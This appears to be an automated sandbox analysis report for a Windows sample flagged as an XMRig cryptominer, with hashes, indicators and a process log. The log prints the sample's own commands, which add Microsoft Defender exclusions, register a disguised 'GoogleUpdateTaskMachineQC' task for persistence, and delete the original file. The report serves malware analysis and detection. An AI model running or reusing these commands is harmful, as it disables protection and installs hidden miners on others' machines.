Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1798s -
max time network
1789s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231129-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 4840 created 3412 4840 6vHkJ4UErTSS5ECD.exe 45 PID 4840 created 3412 4840 6vHkJ4UErTSS5ECD.exe 45 PID 4840 created 3412 4840 6vHkJ4UErTSS5ECD.exe 45 PID 4840 created 3412 4840 6vHkJ4UErTSS5ECD.exe 45 PID 4616 created 3412 4616 updater.exe 45 PID 4616 created 3412 4616 updater.exe 45 PID 4616 created 3412 4616 updater.exe 45 PID 3204 created 3412 3204 conhost.exe 45 PID 4616 created 3412 4616 updater.exe 45 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral6/memory/3540-126-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-130-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-131-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-133-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-135-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-139-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-141-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-143-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-145-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-147-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-149-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-151-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-153-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-155-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-157-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-159-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-161-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-163-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-165-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-167-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-169-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-171-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-173-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-175-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-177-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-179-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-181-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-183-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-185-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig behavioral6/memory/3540-187-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 4616 updater.exe -
resource yara_rule behavioral6/memory/3540-119-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-126-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-130-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-131-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-133-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-135-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-139-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-141-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-143-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-145-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-147-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-149-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-151-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-153-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-155-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-157-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-159-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-161-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-163-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-165-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-167-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-169-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-171-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-173-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-175-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-177-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-179-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-181-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-183-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-185-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx behavioral6/memory/3540-187-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4616 set thread context of 3204 4616 updater.exe 117 PID 4616 set thread context of 3540 4616 updater.exe 111 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe 6vHkJ4UErTSS5ECD.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1060 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 4840 6vHkJ4UErTSS5ECD.exe 4840 6vHkJ4UErTSS5ECD.exe 4628 powershell.exe 4628 powershell.exe 4840 6vHkJ4UErTSS5ECD.exe 4840 6vHkJ4UErTSS5ECD.exe 864 powershell.exe 864 powershell.exe 4840 6vHkJ4UErTSS5ECD.exe 4840 6vHkJ4UErTSS5ECD.exe 4840 6vHkJ4UErTSS5ECD.exe 4840 6vHkJ4UErTSS5ECD.exe 2716 powershell.exe 2716 powershell.exe 4616 updater.exe 4616 updater.exe 3568 powershell.exe 3568 powershell.exe 4616 updater.exe 4616 updater.exe 4208 powershell.exe 4208 powershell.exe 4616 updater.exe 4616 updater.exe 4616 updater.exe 4616 updater.exe 3204 conhost.exe 3204 conhost.exe 4616 updater.exe 4616 updater.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4628 powershell.exe Token: SeDebugPrivilege 864 powershell.exe Token: SeIncreaseQuotaPrivilege 864 powershell.exe Token: SeSecurityPrivilege 864 powershell.exe Token: SeTakeOwnershipPrivilege 864 powershell.exe Token: SeLoadDriverPrivilege 864 powershell.exe Token: SeSystemProfilePrivilege 864 powershell.exe Token: SeSystemtimePrivilege 864 powershell.exe Token: SeProfSingleProcessPrivilege 864 powershell.exe Token: SeIncBasePriorityPrivilege 864 powershell.exe Token: SeCreatePagefilePrivilege 864 powershell.exe Token: SeBackupPrivilege 864 powershell.exe Token: SeRestorePrivilege 864 powershell.exe Token: SeShutdownPrivilege 864 powershell.exe Token: SeDebugPrivilege 864 powershell.exe Token: SeSystemEnvironmentPrivilege 864 powershell.exe Token: SeRemoteShutdownPrivilege 864 powershell.exe Token: SeUndockPrivilege 864 powershell.exe Token: SeManageVolumePrivilege 864 powershell.exe Token: 33 864 powershell.exe Token: 34 864 powershell.exe Token: 35 864 powershell.exe Token: 36 864 powershell.exe Token: SeIncreaseQuotaPrivilege 864 powershell.exe Token: SeSecurityPrivilege 864 powershell.exe Token: SeTakeOwnershipPrivilege 864 powershell.exe Token: SeLoadDriverPrivilege 864 powershell.exe Token: SeSystemProfilePrivilege 864 powershell.exe Token: SeSystemtimePrivilege 864 powershell.exe Token: SeProfSingleProcessPrivilege 864 powershell.exe Token: SeIncBasePriorityPrivilege 864 powershell.exe Token: SeCreatePagefilePrivilege 864 powershell.exe Token: SeBackupPrivilege 864 powershell.exe Token: SeRestorePrivilege 864 powershell.exe Token: SeShutdownPrivilege 864 powershell.exe Token: SeDebugPrivilege 864 powershell.exe Token: SeSystemEnvironmentPrivilege 864 powershell.exe Token: SeRemoteShutdownPrivilege 864 powershell.exe Token: SeUndockPrivilege 864 powershell.exe Token: SeManageVolumePrivilege 864 powershell.exe Token: 33 864 powershell.exe Token: 34 864 powershell.exe Token: 35 864 powershell.exe Token: 36 864 powershell.exe Token: SeIncreaseQuotaPrivilege 864 powershell.exe Token: SeSecurityPrivilege 864 powershell.exe Token: SeTakeOwnershipPrivilege 864 powershell.exe Token: SeLoadDriverPrivilege 864 powershell.exe Token: SeSystemProfilePrivilege 864 powershell.exe Token: SeSystemtimePrivilege 864 powershell.exe Token: SeProfSingleProcessPrivilege 864 powershell.exe Token: SeIncBasePriorityPrivilege 864 powershell.exe Token: SeCreatePagefilePrivilege 864 powershell.exe Token: SeBackupPrivilege 864 powershell.exe Token: SeRestorePrivilege 864 powershell.exe Token: SeShutdownPrivilege 864 powershell.exe Token: SeDebugPrivilege 864 powershell.exe Token: SeSystemEnvironmentPrivilege 864 powershell.exe Token: SeRemoteShutdownPrivilege 864 powershell.exe Token: SeUndockPrivilege 864 powershell.exe Token: SeManageVolumePrivilege 864 powershell.exe Token: 33 864 powershell.exe Token: 34 864 powershell.exe Token: 35 864 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2096 wrote to memory of 3616 2096 cmd.exe 101 PID 2096 wrote to memory of 3616 2096 cmd.exe 101 PID 2716 wrote to memory of 2632 2716 powershell.exe 105 PID 2716 wrote to memory of 2632 2716 powershell.exe 105 PID 4616 wrote to memory of 3204 4616 updater.exe 117 PID 4744 wrote to memory of 1060 4744 cmd.exe 112 PID 4744 wrote to memory of 1060 4744 cmd.exe 112 PID 4616 wrote to memory of 3540 4616 updater.exe 111 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:4840
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3412
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4628
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:864
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2096
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2716 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2632
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3568
